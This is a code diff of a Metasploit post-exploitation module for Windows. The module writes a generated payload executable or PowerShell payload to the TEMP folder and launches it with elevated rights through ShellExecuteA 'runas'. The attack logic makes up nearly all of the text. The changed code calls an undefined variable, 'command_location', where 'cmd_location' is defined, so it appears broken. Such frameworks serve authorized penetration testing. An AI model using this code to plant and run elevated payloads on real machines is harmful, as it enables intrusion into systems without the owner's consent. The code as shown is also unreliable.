@@ -10,31 +10,31 @@ module Msf::Post::Windows::Runas
10
10
include Msf ::Exploit ::Powershell
11
11
12
12
def execute_exe ( filename = nil , path = nil , upload = nil )
13
- exe_payload = generate_payload_exe
14
13
payload_filename = filename || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".exe"
15
14
payload_path = path || get_env ( 'TEMP' )
16
15
cmd_location = "#{ payload_path } \\ #{ payload_filename } "
17
16
18
17
if upload
18
+ exe_payload = generate_payload_exe
19
19
print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
20
20
write_file ( cmd_location , exe_payload )
21
21
else
22
- print_error ( "No Upload Path!" )
23
- return
22
+ print_status ( "No file uploaded, attempting to execute #{ cmd_location } ..." )
24
23
end
25
24
26
- command = cmd_location
27
- shell_exec ( command , nil )
25
+ shell_exec ( command_location , nil )
28
26
end
29
27
30
28
def execute_psh
31
- command , args = "cmd.exe" , " /c #{ cmd_psh_payload ( payload . encoded ) } "
32
- shell_exec ( command , args )
29
+ powershell_command = cmd_psh_payload ( payload . encoded )
30
+ command = 'cmd.exe'
31
+ args = "/c #{ powershell_command } "
32
+ shell_exec ( command , args )
33
33
end
34
34
35
35
def shell_exec ( command , args )
36
- print_status ( "Executing elevated command! " )
37
- session . railgun . shell32 . ShellExecuteA ( nil , " runas" , command , args , nil , 5 )
36
+ print_status ( "Executing elevated command... " )
37
+ session . railgun . shell32 . ShellExecuteA ( nil , ' runas' , command , args , nil , 'SW_SHOW' )
38
38
end
39
39
end
40
40
0 commit comments